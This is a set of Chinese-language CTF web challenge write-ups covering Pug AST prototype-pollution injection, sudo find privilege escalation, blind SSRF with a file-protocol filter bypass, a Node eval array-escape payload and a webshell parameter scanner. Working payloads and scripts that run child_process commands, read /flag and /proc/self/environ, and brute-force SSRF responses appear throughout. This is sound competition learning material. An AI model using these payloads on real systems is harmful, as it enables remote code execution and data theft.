[湖湘杯 2021 final]vote
是有附件,下载下来解压
在/vote-1637654763\www\routes下找到了源码
这道题的考点是
AST配合Pug模板引擎实现注入
有现成的payload
主要代码,需要满足if语句
,从而可以执行compile
语句
{
"__proto__.hero":{
"name":"奇亚纳"
},
"__proto__.block": {
"type": "Text",
"line": "process.mainModule.require('child_process').execSync('cat /flag > /app/static/1.txt')"
}
}
[HZNUCTF 2023 final]ezgo
它提示文件在$PATH变量中未找到,path的翻译是路径,文件和路径,很容易让人联想到/usr/bin/目录下的所有用户都可用的应用程序(绝对路径执行命令)
关于Linux服务器里 /usr/bin 目录和 /usr/local/bin目录_/usr/local/bin在那-CSDN博客
发现/usr/bin/sudo是可用的
输入 /usr/bin/sudo -l 发现不行
并且提示find命令不需要密码
那就可以用sudo find提权命令进行提权
find (一个路径或文件,必须存在) -exec 执行命令 \;(\; 是-exec 参数的结尾标志)
prize_p4
随便输入发现了说不是admin
点击get key 得到了这个,从最开始的url到现在的key,应该是ssrf+flask_session伪造
意思是是get传参时,访问/getkey得到这个页面,不是get传参时访问,得到的session就是key
用put访问,发现allow的时get head options,三种请求
得到了base64编码的key
选中部分解码得到key,进行伪造session
key:777e890b-a3a1-45b5-ad0b-b43ca7e6be05
重新访问home页面,得到源码
代码审计一下
from flask import Flask, request, session, render_template, url_for,redirect,render_template_string
import base64
import urllib.request
import uuid
import flagSECRET_KEY=str(uuid.uuid4())
app = Flask(__name__)
app.config.update(dict(
SECRET_KEY=SECRET_KEY,
))#src in /app
@app.route('/')
@app.route('/index',methods=['GET'])
def index():
return render_template("index.html")@app.route('/get_data', methods=["GET",'POST'])
def get_data():
data = request.form.get('data', '123')
if type(data) is str:
data=data.encode('utf8')
url = request.form.get('url', 'http://127.0.0.1:8888/')
if data and url:
session['data'] = data
session['url'] = url
session["admin"]=False
return redirect(url_for('home'))
return redirect(url_for('/'))@app.route('/home', methods=["GET"])
def home():
if session.get("admin",False):
return render_template_string(open(__file__).read())
else:
return render_template("home.html",data=session.get('data','Not find data...'))@app.route('/getkey', methods=["GET"])
def getkey():
if request.method != "GET":
session["key"]=SECRET_KEY
return render_template_string('''@app.route('/getkey', methods=["GET"])
def getkey():
if request.method != "GET":
session["key"]=SECRET_KEY''')@app.route('/get_hindd_result', methods=["GET"])
def get_hindd_result():
if session['data'] and session['url']:
if 'file:' in session['url']:
return "no no no"
data=(session['data']).decode('utf8')
url_text=urllib.request.urlopen(session['url']).read().decode('utf8')
if url_text in data or data in url_text:
return "you get it"
return "what ???"@app.route('/getflag', methods=["GET"])
def get_flag():
res = flag.waf(request)
return resif __name__ == '__main__':
app.run(host='0.0.0.0', debug=False, port=8888)
/getflag路由,但是要利用这个路由得知道flag.waf的源码
get_hind_result,这个路由有一个ssrf,可以拿来读源码,但是不会直接显示出结果,只会返回you get it,所以要用盲注
这个路由的ssrf需要在session里设置参数,可以用最开始的/get_data路由来获得对应的session值
ssrf过滤了file协议,利用大小写可以绕过
import string import requests url1="http://node4.anna.nssctf.cn:28839/get_data" url2="http://node4.anna.nssctf.cn:28839/get_hindd_result" flag="NSSCTF{" while 1: for i in string.printable: tmp_flag=flag+i data={"url":"File:///proc/self/environ","data":tmp_flag} res=requests.session() res.get(url1,data=data) session_tmp=str(res.cookies.values())[2:-2] flag_resp=requests.get(url2,cookies={"session":session_tmp}) if "you get it" in flag_resp.text: flag+=i print(flag) break
利用盲注脚本
[GFCTF 2021]ez_calc
给的提示:
1.别想太复杂,试着传传其他数据类型 2.字符串的length和数组的length是不一样的。你能将自己的payload逃逸出来吗。注:本题所有提示都只针对登陆后的操作。
源码提示:
他限制了登陆时候账号不能为admin,大写之后不能为ADMIN,密码是admin123
绕过:
利用特殊字符,比如通过Character.toUpperCose()后,ı会为I,但它经过Charocter.toLowerCose()后并不是i,所以说账户名为admın,登录成功
发现源码
上面就是一个过滤字符sh ln fs x f lc , " (等,功能
然后关键点是最后eval(calc)会进行rce,
some()
方法会遍历由 split()
方法生成的字符数组中的所有元素
calc不能直接构造恶意参数,就算能,数组也执行不了 ,所以我们就需要进入那里面,需要逃逸多少个字符就定义多少个数组元素。
calc数组长度一定要大于等于前面执行命令的字符串长度
calc[]=require('child_process').spawnSync('ls',['/']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.
这里过滤了x,也无法直接利用exec,但是实际上这里是可以绕过的,因为我们通过require导入的模块是一个Object,那么就可以通过Object.values获取到child_process里面的各种方法,那么再通过数组下标[5]就可以得到execSync了,那么有了execSync后就可以通过写入文件的方式读取flag了
calc[]=require('child_process').spawnSync('nl',['p']).stdout.toString();&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=1&calc[]=.
[强网杯 2019]高明的黑客
贴大佬的脚本,在本地运行,然后就可以得到可执行的shell,文件
import os
import requests
import re
import threading
import time
print('开始时间: '+ time.asctime( time.localtime(time.time()) ))
s1=threading.Semaphore(100) #这儿设置最大的线程数
filePath = r"D:\ctf\src"
os.chdir(filePath) #改变当前的路径
requests.adapters.DEFAULT_RETRIES = 5 #设置重连次数,防止线程数过高,断开连接
files = os.listdir(filePath)
session = requests.Session()
session.keep_alive = False # 设置连接活跃状态为False
def get_content(file):
s1.acquire()
print('trying '+file+ ' '+ time.asctime( time.localtime(time.time()) ))
with open(file,encoding='utf-8') as f: #打开php文件,提取所有的$_GET和$_POST的参数
gets = list(re.findall('\$_GET\[\'(.*?)\'\]', f.read()))
posts = list(re.findall('\$_POST\[\'(.*?)\'\]', f.read()))
data = {} #所有的$_POST
params = {} #所有的$_GET
for m in gets:
params[m] = "echo 'xxxxxx';"
for n in posts:
data[n] = "echo 'xxxxxx';"
url = 'http://127.0.0.1/src/'+file
req = session.post(url, data=data, params=params) #一次性请求所有的GET和POST
req.close() # 关闭请求 释放内存
req.encoding = 'utf-8'
content = req.text
#print(content)
if "xxxxxx" in content: #如果发现有可以利用的参数,继续筛选出具体的参数
flag = 0
for a in gets:
req = session.get(url+'?%s='%a+"echo 'xxxxxx';")
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
flag = 1
break
if flag != 1:
for b in posts:
req = session.post(url, data={b:"echo 'xxxxxx';"})
content = req.text
req.close() # 关闭请求 释放内存
if "xxxxxx" in content:
break
if flag == 1: #flag用来判断参数是GET还是POST,如果是GET,flag==1,则b未定义;如果是POST,flag为0,
param = a
else:
param = b
print('找到了利用文件: '+file+" and 找到了利用的参数:%s" %param)
print('结束时间: ' + time.asctime(time.localtime(time.time())))
s1.release()for i in files: #加入多线程
t = threading.Thread(target=get_content, args=(i,))
t.start()
跑完脚本,找到可利用参数
找到了利用文件: xk0SzyKwfzw.php
找到了利用的参数:Efa5BVG
cat /flag